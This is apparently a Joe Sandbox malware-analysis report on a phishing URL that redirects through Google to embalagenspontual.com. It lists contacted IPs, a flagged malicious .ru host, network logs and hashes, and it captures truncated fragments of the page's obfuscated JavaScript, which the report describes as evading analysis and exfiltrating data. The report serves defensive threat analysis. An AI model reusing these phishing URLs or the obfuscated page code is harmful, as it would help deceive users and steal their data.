https://rukminim2.flixcart.com/image/120/120/krtjgcw0/microphone/x/h/j/3-5mm-clip-metal-microphone-for-voice-recording-lapel-mic-mobile-original-imag5gxrug6fcbct.jpeg?q=80	false		high
https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/373914b13f0b4dfb.jpg?q=80	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/img/plus_aef861.png	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/fkvendor.8e6d6e.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/commonLazyLoadChunk.8f39a4.css	false		high
https://rukminim2.flixcart.com/fk-p-flap/64/64/image/0139228b2f7eb413.jpg?q=100	false		high
https://js-agent.newrelic.com/page_view_event-aggregate.06482edd-1.236.0.min.js	false		high
https://static-assets-web.flixcart.com/www/linchpin/batman-returns/codes.json	false		high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://static-assets-web.flixcart.com/fk-p-linchpin-web/fk-cp-zion/js/runtime.f1d75b85.js	false		high
https://static-assets-web.flixcart.com/batman-returns/batman-returns/p/images/advertise-image-866c0b.svg	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	chromecache_155.4.dr	false		high
https://cct.google/taggy/agent.js	chromecache_155.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
92.123.12.186	unknown	European Union	16625	AKAMAI-ASUS	false
216.58.212.131	www.google.co.zm	United States	15169	GOOGLEUS	false
109.106.251.60	embalagenspontual.com	Serbia	199493	NETNET-ASRS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
103.243.32.90	flipkart.com	India	10103	HKBN-AS-APHKBroadbandNetworkLtdHK	false
63.140.62.27	flipkart.d1.sc.omtrdc.net	United States	15224	OMNITUREUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
34.36.209.50	sonic.fdp.api.flipkart.com	United States	2686	ATGS-MMD-ASUS	false
104.21.112.1	p00.ajpslwqc.ru	United States	13335	CLOUDFLARENETUS	true
34.240.76.211	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
162.247.243.39	js-agent.newrelic.com	United States	13335	CLOUDFLARENETUS	false
95.101.182.73	e127545.h.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
95.101.182.112	e127545.b.akamaiedge.net	European Union	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1638513
Start date and time:	2025-03-14 13:27:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.evad.win@26/294@40/16
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209, 142.250.186.142, 142.250.185.67, 172.217.18.14, 74.125.133.84, 142.250.185.174, 88.221.110.91, 142.250.185.238, 142.250.184.206, 142.250.185.78, 142.250.186.78, 142.250.185.104, 199.232.214.172, 142.250.185.227, 172.217.16.131, 4.245.163.56
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://www.google.co.zm/url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh#?470265860475745Family=X2NlYzY3QG5hc2hpbnRsLmNvbQ==

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 1620x269, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	27180
Entropy (8bit):	7.9922919884238794
Encrypted:	true
SSDEEP:	768:o9lUnRBt8qJ+mGYvAanAmSVt/A+iDRKecb/:IlUnLt8lIvfAm7eek/
MD5:	977EA646AA7B2227E4E6FD8B4C55DE8E
SHA1:	1B7E42EAA0AED10FDE7467CAED6647DC02752E1B
SHA-256:	DA80B3415AE57A3700F1E10D63807279B8D4D0677B7E24DEBC687DEC2F761876
SHA-512:	891176FF7B5E7F78EA0D76BB2D54E37348311260A72EBC3E29E4D1757CA7D33EB0F0E2206B34122B2CC24A78A6B34B3C9DCFFDA22B700509881B62DC79C1E1F8
Malicious:	false
Reputation:	low
URL:	https://rukminim2.flixcart.com/fk-p-flap/1620/270/image/173cacfaf069fe7d.png?q=80
Preview:	RIFF$j..WEBPVP8 .j.......T...>m4.H.$#!..z....cn.tr....c6l.}D.W...2..?..k.;.....&.......y......~.e.....m.k.w.O._..F.C..z....{.........?.?p...z.........O^Ob..?..... .....-...........w.._...?..v....W..........:......._...y../.<..../....=......7....z..a......._X~.......`.f.........../....'...?......U.M..G..._..m?......q...G.........o...U...o..._...?..m..................S33333333333333333333333333?..:..r......ff@.......m...n..gG>7..^L.(3...9n.Y(.Ah.:...6.....Hu..5.a...U..15..-...a@{!..i..UP....g.7.....P.lZU).2@<...l..(3p..p2./f..3o.Y._..T..g...z...,SN#..P.`......h.uO..~...p.}..........4..........Z.4P...>.....j.L.C.......9....W.H..6.\| lPe\|+n..O?.\|.rP..QtN~....yU.+.8..7&.....E.d@kp..y..}..@\|u..e..^~\.I+.....]).....7.....+..Z-.b..t.bj[...6.@.%..bj3.OQZn)..AIh...[..PWW..~.3!t.8.......'..$.....B.......g..uQ.....{>.F.Y......Wl.-.H'......#6.3....m..].........;U..#........G*V%X.nB..UW}...;.N.>1f........r.nFx.G....i.jD.~?XBUj....nj...<Y.T...6.....P}.n..`

Source: 2.6.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, blocking common keyboard shortcuts, disabling the right-click context menu, and using a debugger-based technique to redirect the user to an unrelated website. These behaviors indicate a highly suspicious and potentially malicious script that should be treated with caution.
Source: 2.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://p00.ajpslwqc.ru/seeNfYk/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending user data to an untrusted domain, which poses a significant risk of data theft or other malicious activities. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 2.5.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and potential data exfiltration. The obfuscated code and encoded strings further increase the risk. Overall, this script exhibits a high level of malicious intent and should be treated with caution.

Source: https://embalagenspontual.com/.dnd/	HTTP Parser: (function(_0x1389fb,_0x19338e){function _0x390238(_0x168b98,_0x5e2d12,_0x42d1b5,_0x5f1da2){return _
Source: https://embalagenspontual.com/.dnd/	HTTP Parser: function _0x268f(_0x2a295c,_0x3d3139){var _0x3ddddf=_0x3ddd();return _0x268f=function(_0x268fd3,_0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.91
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.163
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.96.121
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 14, 2025 13:28:53.655059099 CET	53	59943	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:53.712692022 CET	53	64165	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:55.018474102 CET	53	49927	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:58.161710024 CET	50132	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:28:58.161994934 CET	61802	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:28:58.168488979 CET	53	50132	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:58.168504953 CET	53	61802	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:59.424360037 CET	50923	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:28:59.424727917 CET	64541	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:28:59.431231022 CET	53	50923	1.1.1.1	192.168.2.6
Mar 14, 2025 13:28:59.444013119 CET	53	64541	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:00.469120026 CET	49516	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:00.471451044 CET	50348	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:00.503380060 CET	53	50348	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:00.551062107 CET	53	49516	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:01.791402102 CET	49163	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:01.791682959 CET	53719	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:01.848828077 CET	53	53719	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:01.856019020 CET	53	49163	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.366952896 CET	56795	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.367348909 CET	62091	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.373817921 CET	53	56795	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.374043941 CET	53	62091	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.376759052 CET	53550	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.377130985 CET	64233	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.377511978 CET	62613	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.377677917 CET	53029	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:03.384124994 CET	53	53029	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.384136915 CET	53	53550	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.384227037 CET	53	62613	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:03.384757996 CET	53	64233	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:04.321858883 CET	49560	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:04.322051048 CET	61457	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:04.331034899 CET	53	49560	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:04.332632065 CET	53	61457	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.189708948 CET	61229	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.190159082 CET	56846	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.190587044 CET	53459	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.190758944 CET	59805	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.199244976 CET	53	61229	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.199486971 CET	53	53459	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.200155020 CET	53	59805	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.226886034 CET	53	56846	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.240485907 CET	59687	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.240631104 CET	52865	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.241175890 CET	55297	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.241398096 CET	62748	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:06.248083115 CET	53	52865	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.248796940 CET	53	59687	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.250123024 CET	53	55297	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:06.250844955 CET	53	62748	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:08.320398092 CET	61742	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:08.320602894 CET	60743	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:08.343555927 CET	53	60743	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:08.398641109 CET	55573	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:08.398803949 CET	64469	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:08.422580004 CET	53	55573	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:08.468204021 CET	53	64469	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:08.474107981 CET	53	61742	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:12.209476948 CET	53	51389	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:14.893822908 CET	61776	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:14.893969059 CET	57395	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:14.898961067 CET	65359	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:14.899285078 CET	62177	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:14.900461912 CET	53	57395	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:14.900487900 CET	53	61776	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:14.908142090 CET	53	65359	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:14.908555031 CET	53	62177	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:18.502937078 CET	49646	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:18.502937078 CET	61928	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:18.511554956 CET	53	49646	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:18.511790037 CET	53	61928	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:23.119611979 CET	55062	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:23.119820118 CET	63622	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:23.126981020 CET	53	55062	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:23.129168034 CET	53	63622	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:27.130584002 CET	56430	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:27.130913019 CET	54457	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:27.138302088 CET	53	56430	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:27.139451981 CET	53	54457	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:27.188467979 CET	60044	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:27.188684940 CET	50447	53	192.168.2.6	1.1.1.1
Mar 14, 2025 13:29:27.195437908 CET	53	60044	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:27.196361065 CET	53	50447	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:30.998152018 CET	53	53502	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:37.085378885 CET	53	56224	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:44.312530041 CET	138	138	192.168.2.6	192.168.2.255
Mar 14, 2025 13:29:53.455734015 CET	53	57043	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:53.778898954 CET	53	51003	1.1.1.1	192.168.2.6
Mar 14, 2025 13:29:56.940947056 CET	53	50906	1.1.1.1	192.168.2.6

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 14, 2025 13:29:06.227003098 CET	192.168.2.6	1.1.1.1	c28f	(Port unreachable)	Destination Unreachable
Mar 14, 2025 13:29:08.468297005 CET	192.168.2.6	1.1.1.1	c27b	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:00 UTC	958	OUT	GET /url?q=https%3A%2F%2Fembalagenspontual.com%2F.dnd%2F&sa=D&sntz=1&usg=AOvVaw2fQzlrSA6WjuVq4o5C-GZh HTTP/1.1 Host: www.google.co.zm Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Browser-Channel: stable X-Browser-Year: 2025 X-Browser-Validation: wTKGXmLo+sPWz1JKKbFzUyHly1Q= X-Browser-Copyright: Copyright 2025 Google LLC. All rights reserved. X-Client-Data: CO6MywE= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:00 UTC	813	IN	HTTP/1.1 200 OK Location: https://embalagenspontual.com/.dnd/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 14 Mar 2025 12:29:00 GMT Server: gws Content-Length: 361 X-XSS-Protection: 0 Expires: Fri, 14 Mar 2025 12:29:00 GMT Set-Cookie: NID=522=3DAWl3lbRJwKAcAXXPVtG8UvjG6HKj0463-hi77gkgQZPGi3gV3g8c-lWkqGIy6zFepkGdilQ3c8RMiGWJeAKuesXUCGUmRx2pFy34XXOlYZzZ0TywVSH21l6CSdSYAeYV0yo6VpyW1VUpur7RY2pBdcxnwWs5KXDRSb9KoWqSigqfAefQ0Sj2m0WtKYgH2J8QO_q3gPngldNw; expires=Sat, 13-Sep-2025 12:29:00 GMT; path=/; domain=.google.co.zm; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-14 12:29:00 UTC	361	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 54 49 54 4c 45 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 65 6d 62 61 6c 61 67 65 6e 73 70 6f 6e 74 75 61 6c 2e 63 6f 6d 2f 2e 64 6e 64 2f 22 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 6f 6e 4c 6f 61 64 3d 22 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 65 6d 62 61 6c 61 67 65 6e 73 70 6f 6e 74 75 61 6c 2e 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>Redirecting</TITLE><META HTTP-EQUIV="refresh" content="1; url=https://embalagenspontual.com/.dnd/"></HEAD><BODY onLoad="location.replace('https://embalagenspontual.c

Timestamp	Bytes transferred	Direction	Data
2025-03-14 12:29:01 UTC	698	OUT	GET /.dnd/ HTTP/1.1 Host: embalagenspontual.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.google.co.zm/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 12:29:01 UTC	533	IN	HTTP/1.1 200 OK Connection: close content-type: text/html; charset=UTF-8 transfer-encoding: chunked date: Fri, 14 Mar 2025 12:29:01 GMT platform: hostinger strict-transport-security: max-age=15768000;includeSubdomains x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent content-security-policy: object-src 'none' alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-03-14 12:29:01 UTC	835	IN	Data Raw: 35 39 64 37 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 6e 6e 65 63 74 69 69 6e 67 2e 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 33 38 39 66 62 2c 5f 30 78 31 39 33 33 38 65 29 7b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 39 30 32 33 38 28 5f 30 78 31 36 38 62 39 38 2c 5f 30 78 35 65 32 64 31 32 2c 5f 30 78 34 32 64 31 62 35 2c 5f 30 78 35 66 31 64 61 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 66 30 32 28 5f 30 78 31 36 38 62 39 38 2d 20 2d 30 78 33 63 35 2c 5f 30 78 35 65 32 64 31 32 29 3b 7d 66 75 6e 63 74 69 6f 6e 20 5f 30 78 63 65 31 32 35 65 28 5f 30 78 31 63 61 32 35 35 2c 5f 30 78 32 37 65 37 32 66 2c 5f 30 78 35 31 66 31 39 62 2c 5f 30 78 33 38 30 Data Ascii: 59d7<html><head><title>Connectiing..</title><script>(function(_0x1389fb,_0x19338e){function _0x390238(_0x168b98,_0x5e2d12,_0x42d1b5,_0x5f1da2){return _0x3f02(_0x168b98- -0x3c5,_0x5e2d12);}function _0xce125e(_0x1ca255,_0x27e72f,_0x51f19b,_0x380
2025-03-14 12:29:01 UTC	14994	IN	Data Raw: 2d 30 78 32 33 62 2c 2d 30 78 32 35 39 2c 2d 30 78 32 31 36 2c 2d 30 78 32 32 64 29 29 2f 28 2d 30 78 31 2a 2d 30 78 34 39 64 2b 2d 30 78 32 33 63 2b 2d 30 78 32 35 61 29 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 33 39 30 32 33 38 28 2d 30 78 32 34 38 2c 2d 30 78 32 33 30 2c 2d 30 78 32 33 35 2c 2d 30 78 32 36 31 29 29 2f 28 2d 30 78 62 66 39 2a 30 78 31 2b 30 78 31 61 66 36 2b 2d 30 78 65 66 35 29 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 63 65 31 32 35 65 28 30 78 37 64 2c 30 78 36 64 2c 30 78 38 63 2c 30 78 38 31 29 29 2f 28 30 78 65 37 32 2b 2d 30 78 31 35 66 37 2b 30 78 37 38 65 29 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 63 65 31 32 35 65 28 30 78 61 31 2c 30 78 39 63 2c 30 78 61 30 2c 30 78 38 39 29 29 2f 28 2d 30 78 32 2a 2d 30 78 34 39 2b 30 Data Ascii: -0x23b,-0x259,-0x216,-0x22d))/(-0x1-0x49d+-0x23c+-0x25a))+parseInt(_0x390238(-0x248,-0x230,-0x235,-0x261))/(-0xbf90x1+0x1af6+-0xef5)(-parseInt(_0xce125e(0x7d,0x6d,0x8c,0x81))/(0xe72+-0x15f7+0x78e))+parseInt(_0xce125e(0xa1,0x9c,0xa0,0x89))/(-0x2-0x49+0
